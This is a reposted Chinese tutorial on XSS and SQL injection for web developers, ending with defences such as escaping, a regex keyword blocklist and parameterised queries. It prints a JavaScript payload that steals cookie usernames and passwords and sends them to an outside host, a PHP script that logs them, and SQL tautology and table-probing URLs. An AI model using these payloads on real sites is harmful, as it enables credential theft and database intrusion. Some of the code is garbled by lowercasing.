xss攻击： https://www.cnblogs.com/dolphinx/p/3391351.html
跨站脚本攻击(cross site script为了区别于css简称为xss)指的是恶意攻击者往web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中web里面的html代码会被执行，从而达到恶意用户的特殊目的。
一个简单的留言板
我们有个页面用于允许用户发表留言，然后在页面底部显示留言列表
<!doctype html> <html> <head> <?php include('/components/headerinclude.php');?></head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed 1px #ccc; margin: 4px; } </style> <script type="text/javascript" src="/js/cookies.js"></script> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">your comment</div> <div style="padding:6px;"> nick name: <br/> <input name="name" type="text" style="width:300px;"/> </div> <div style="padding:6px;"> comment: <br/> <textarea name="comment" style="height:100px; width:300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="post" style="padding:4px 0px; width:80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">comments</div> </div> <?php require('/components/comments.php'); if(!empty($_post['name'])){ addelement($_post['name'],$_post['comment']); } rendercomments(); ?> </div> </form> </body> </html>
addelement()方法用于添加新的留言，而rendercomments()方法用于展留言列表，网页看起来是这样的
xss
因为我们完全信任了用户输入，但有些别有用心的用户会像这样的输入
这样无论是谁访问这个页面的时候控制台都会输出“hey you are a fool fish!”，如果这只是个恶意的小玩笑，有些人做的事情就不可爱了，有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等，看个最简单的例子
利用xss窃取用户名密码
当然这个示例很简单，几乎攻击不到任何网站，仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录，有些网站是直接用明文记录用户名、密码，恶意用户注册账户登录后使用简单工具查看cookie结构名称后，如果网站有xss漏洞，那么简单的利用jsonp就可以获取其它用户的用户名、密码了。
恶意用户会这么输入
我们看看里藏了什么
var username=cookiehelper.getcookie('username').value; var password=cookiehelper.getcookie('password').value; var script =document.createelement('script'); script.src='https://test.com/index.php?username='+username+'&password='+password; document.body.appendchild(script);
几句简单的javascript，获取cookie中的用户名密码，利用jsonp把向
发送了一个get请求
<?php if(!empty($_get['password'])){ $username=$_get['username']; $password=$_get['password']; try{ $path=$_server["document_root"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, lock_ex); fwrite($fp, "$usernamet $passwordrn"); flock($fp, lock_un); fclose($fp); }catch(exception $e){ } } ?>
这样恶意用户就把访问留言板的用户的信息窃取了
怎么预防
上面演示的是一个非常简单的xss攻击，还有很多隐蔽的方式，但是其核心都是利用了脚本注入，因此我们解决办法其实很简单，不信赖用户输入，对特殊字符如”<”,”>”转义，就可以从根本上防止这一问题，当然很多解决方案都对xss做了特定限制，如上面这中做法在asp.net中不幸不同，微软validaterequest对表单提交自动做了xss验证。但防不胜防，总有些聪明的恶意用户会到我们的网站搞破坏，对自己站点不放心可以看看这个xss跨站测试代码大全试试站点是否安全。
sql注入： https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html
1.1.1 摘要
日前，国内最大的程序员社区csdn网站的用户数据库被黑客公开发布，600万用户的登录名及密码被公开泄露，随后又有多家网站的用户密码被流传于网络，连日来引发众多网民对自己账号、密码等互联网信息被盗取的普遍担忧。
网络安全成为了现在互联网的焦点，这也恰恰触动了每一位用户的神经，由于设计的漏洞导致了不可收拾的恶果，验证了一句话“出来混的，迟早是要还的”，所以我想通过专题博文介绍一些常用的攻击技术和防范策略。
sql injection也许很多人都知道或者使用过，如果没有了解或完全没有听过也没有关系，因为接下来我们将介绍sql injection。
1.1.2 正文
sql injection：就是通过把sql命令插入到web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的sql命令。
具体来说，它是利用现有应用程序，将（恶意）的sql命令注入到后台数据库引擎执行的能力，它可以通过在web表单中输入（恶意）sql语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行sql语句。
首先让我们了解什么时候可能发生sql injection。
假设我们在浏览器中输入url ，由于它只是对页面的简单请求无需对数据库动进行动态请求，所以它不存在sql injection，当我们输入时，我们在url中传递变量testid，并且提供值为23，由于它是对数据库进行动态查询的请求（其中?testid＝23表示数据库查询变量），所以我们可以该url中嵌入恶意sql语句。
现在我们知道sql injection适用场合，接下来我们将通过具体的例子来说明sql injection的应用，这里我们以数据库作为例子。
我们通过web页面查询job表中的招聘信息，job表的设计如下：
图1 jobs表
接着让我们实现web程序，它根据工作id（job_id）来查询相应的招聘信息，示意代码如下：
/// <summary> /// handles the load event of the page control. /// </summary> /// <param name="sender">the source of the event.</param> /// <param name="e">the <see cref="system.eventargs"/> instance containing the event data.</param> protected void page_load(object sender, eventargs e) { if (!ispostback) { // gets departmentid from http request. string querystring = request.querystring["departmentid"]; if (!string.isnullorempty(querystring)) { // gets data from database. gdvdata.datasource = getdata(querystring.trim()); // binds data to gridview. gdvdata.databind(); } } }
现在我们已经完成了web程序，接下来让我们查询相应招聘信息吧。
图2 job表查询结果
如图所示，我们要查询数据库中工作id值为1的工作信息，而且在页面显示了该工作的id，description，min lvl和max lvl等信息。
现在要求我们实现根据工作id查询相应工作信息的功能，想必大家很快可以给出解决方案，sql示意代码如下：
select job_id, job_desc, min_lvl, max_lvl from jobs where (job_id = 1)
假设现在要求我们获取department表中的所有数据，而且必须保留where语句，那我们只要确保where恒真就ok了，sql示意代码如下：
select job_id, job_desc, min_lvl, max_lvl from jobs where (job_id = 1) or 1 = 1
上面我们使得where恒真，所以该查询中where已经不起作用了，其查询结果等同于以下sql语句。
select job_id, job_desc, min_lvl, max_lvl from jobs
sql查询代码实现如下：
string sql1 = string.format( "select job_id, job_desc, min_lvl, max_lvl from jobs where job_id='{0}'", jobid);
现在我们要通过页面请求的方式，让数据库执行我们的sql语句，我们要在url中嵌入恶意表达式1=1（或2=2等等），如下url所示：
https://localhost:3452/excelusingxslt/default.aspx?jobid=1’or’1’=’1
等效sql语句如下：
select job_id, job_desc, min_lvl, max_lvl from jobs where job_id = '1' or '1' = 1'
图3 job表查询结果
现在我们把job表中的所有数据都查询出来了，仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。
虽然我们把job表的数据都查询出来了，但数据并没有太大的价值，由于我们把该表临时命名为job表，所以接着我们要找出该表真正表名。
首先我们假设表名就是job，然后输入以下url：
https://localhost:3452/excelusingxslt/default.aspx?jobid=1’or 1=(select count(*) from job)–
等效sql语句如下：
select job_id, job_desc, min_lvl, max_lvl from jobs where job_id='1'or 1=(select count(*) from job) --'
图4 job表查询结果
当我们输入了以上url后，结果服务器返回我们错误信息，这证明了我们的假设是错误的，那我们该感觉到挫败吗？不，其实这里返回了很多信息，首先它证明了该表名不是job，而且它还告诉我们后台数据库是sql server，不是mysql或oracle，这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是jobs，然后输入以下url：
https://localhost:3452/excelusingxslt/default.aspx?jobid=1’or1=(select count(*) from jobs) —
等效sql语句如下：
select job_id, job_desc, min_lvl, max_lvl from jobs where job_id='1'or 1=(select count(*) from jobs) --'
图5 job表查询结果
现在证明了该表名是jobs，这可以迈向成功的一大步，由于我们知道了表名就可以对该表进行增删改操作了，而且我们还可以猜测出更多的表对它们作出修改，一旦修改成功那么这将是一场灾难。
现在大家已经对sql injection的攻击有了初步的了解了，接下让我们学习如何防止sql injection。
总的来说有以下几点：
1.永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双”-“进行转换等。
2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.
然后继续校验输入数据中是否包含sql语句的保留字，如：where，exec，drop等。
现在让我们编写正则表达式来校验用户的输入吧，正则表达式定义如下：
private static readonly regex regsystemthreats = new regex(@"s?ors*|s?;s?|s?drops|s?grants|^'|s?--|s?unions|s?deletes|s?truncates|" + @"s?sysobjectss?|s?xp_.*?|s?sysloginss?|s?sysremotes?|s?sysuserss?|s?sysxloginss?|s?sysdatabasess?|s?aspnet_.*?|s?execs?", regexoptions.compiled | regexoptions.ignorecase);上面我们定义了一个正则表达式对象regsystemthreats，并且给它传递了校验用户输入的正则表达式。
由于我们已经完成了对用户输入校验的正则表达式了，接下来就是通过该正则表达式来校验用户输入是否合法了，由于.net已经帮我们实现了判断字符串是否匹配正则表达式的方法——ismatch()，所以我们这里只需给传递要匹配的字符串就ok了。
示意代码如下：
/// <summary> /// a helper method to attempt to discover [known] sqlinjection attacks. /// </summary> /// <param name="whereclause">string of the whereclause to check</param> /// <returns>true if found, false if not found </returns> public static bool detectsqlinjection(string whereclause) { return regsystemthreats.ismatch(whereclause); } /// <summary> /// a helper method to attempt to discover [known] sqlinjection attacks. /// </summary> /// <param name="whereclause">string of the whereclause to check</param> /// <param name="orderby">string of the orderby clause to check</param> /// <returns>true if found, false if not found </returns> public static bool detectsqlinjection(string whereclause, string orderby) { return regsystemthreats.ismatch(whereclause) || regsystemthreats.ismatch(orderby); }
现在我们完成了校验用的正则表达式，接下来让我们需要在页面中添加校验功能。
/// <summary> /// handles the load event of the page control. /// </summary> /// <param name="sender">the source of the event.</param> /// <param name="e">the <see cref="system.eventargs"/> instance containing the event data.</param> protected void page_load(object sender, eventargs e) { if (!ispostback) { // gets departmentid from http request. string querystring = request.querystring["jobid"]; if (!string.isnullorempty(querystring)) { if (!detectsqlinjection(querystring) && !detectsqlinjection(querystring, querystring)) { // gets data from database. gdvdata.datasource = getdata(querystring.trim()); // binds data to gridview. gdvdata.databind(); } else { throw new exception("please enter correct field"); } } } }
当我们再次执行以下url时，被嵌入的恶意语句被校验出来了，从而在一定程度上防止了sql injection。
https://localhost:3452/excelusingxslt/default.aspx?jobid=1’or’1’=’1
图6 添加校验查询结果
但使用正则表达式只能防范一些常见或已知sql injection方式，而且每当发现有新的攻击方式时，都要对正则表达式进行修改，这可是吃力不讨好的工作。
通过参数化存储过程进行数据查询存取
首先我们定义一个存储过程根据jobid来查找jobs表中的数据。
-- ============================================= -- author: jkhuang -- create date: 12/31/2011 -- description: get data from jobs table by specified jobid. -- ============================================= alter procedure [dbo].[getjobs] -- ensure that the id type is int @jobid int as begin -- set nocount on; select job_id, job_desc, min_lvl, max_lvl from dbo.jobs where job_id = @jobid grant execute on getjobs to pubs end
接着修改我们的web程序使用参数化的存储过程进行数据查询。
using (var com = new sqlcommand("getjobs", con)) { // uses store procedure. com.commandtype = commandtype.storedprocedure; // pass jobid to store procedure. com.parameters.add("@jobid", sqldbtype.int).value = jobid; com.connection.open(); gdvdata.datasource = com.executescalar(); gdvdata.databind(); }
现在我们通过参数化存储过程进行数据库查询，这里我们把之前添加的正则表达式校验注释掉。
图7 存储过程查询结果
大家看到当我们试图在url中嵌入恶意的sql语句时，参数化存储过程已经帮我们校验出传递给数据库的变量不是整形，而且使用存储过程的好处是我们还可以很方便地控制用户权限，我们可以给用户分配只读或可读写权限。
但我们想想真的有必要每个数据库操作都定义成存储过程吗？而且那么多的存储过程也不利于日常的维护。
参数化sql语句
还是回到之前动态拼接sql基础上，我们知道一旦有恶意sql代码传递过来，而且被拼接到sql语句中就会被数据库执行，那么我们是否可以在拼接之前进行判断呢？——命名sql参数。
string sql1 = string.format("select job_id, job_desc, min_lvl, max_lvl from jobs where job_id = @jobid"); using (var con = new sqlconnection(configurationmanager.connectionstrings["sqlconn1"].tostring())) using (var com = new sqlcommand(sql1, con)) { // pass jobid to sql statement. com.parameters.add("@jobid", sqldbtype.int).value = jobid; com.connection.open(); gdvdata.datasource = com.executereader(); gdvdata.databind(); }图8 参数化sql查询结果
这样我们就可以避免每个数据库操作（尤其一些简单数据库操作）都编写存储过程了，而且当用户具有数据库中jobs表的读权限才可以执行该sql语句。
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间，您可以将架构视为对象的容器（类似于.net中的命名空间）。
首先我们右击架构文件夹，然后新建架构。
图9 添加humanresource架构
上面我们完成了在pubs数据库中添加humanresource架构，接着把jobs表放到humanresource架构中。
图 10 修改jobs表所属的架构
当我们再次执行以下sql语句时，sql server提示jobs无效，这是究竟什么原因呢？之前还运行的好好的。
select job_id, job_desc, min_lvl, max_lvl from jobs
图 11 查询输出
当我们输入完整的表名“架构名.对象名”（humanresource.jobs）时，sql语句执行成功。
select job_id, job_desc, min_lvl, max_lvl from humanresource.jobs
为什么之前我们执行sql语句时不用输入完整表名dbo.jobs也可以执行呢？
这是因为默认的架构（default schema）是dbo，当只输入表名时，sql server会自动加上当前登录用户的默认的架构（default schema）——dbo。
由于我们使用自定义架构，这也降低了数据库表名被猜测出来的可能性。
linq to sql
前面使用了存储过程和参数化查询，这两种方法都是非常常用的，而针对于.net framework的orm框架也有很多，如：nhibernate，castle和entity framework，这里我们使用比较简单linq to sql。
图 12 添加jobs.dbml文件
var dc = new pubsdatacontext(); int result; // validates jobid is int or not. if (int.tryparse(jobid, out result)) { gdvdata.datasource = dc.jobs.where(p => p.job_id == result); gdvdata.databind(); }
相比存储过程和参数化查询，linq to sql我们只需添加jobs.dbml，然后使用linq对表进行查询就ok了。
1.1.3 总结
我们在c/c++开发分享【转载】XSS攻击和sql注入中介绍了sql injection的基本原理，通过介绍什么是sql injection，怎样进行sql injection和如何防范sql injection。通过一些程序源码对sql的攻击进行了细致的分析，使我们对sql injection机理有了一个深入的认识，作为一名web应用开发人员，一定不要盲目相信用户的输入，而要对用户输入的数据进行严格的校验处理，否则的话，sql injection将会不期而至。
最后，祝大家新年快乐，身体健康，code with pleasure。
参考
https://en.wikipedia.org/wiki/sql_injection
https://msdn.microsoft.com/zh-cn/library/bb153640%28v=sql.90%29.aspx
本文来自网络收集，不代表计算机技术网立场，如涉及侵权请联系管理员删除。
ctvol管理联系方式QQ:251552304
本文章地址：https://www.ctvol.com/c-cdevelopment/602981.html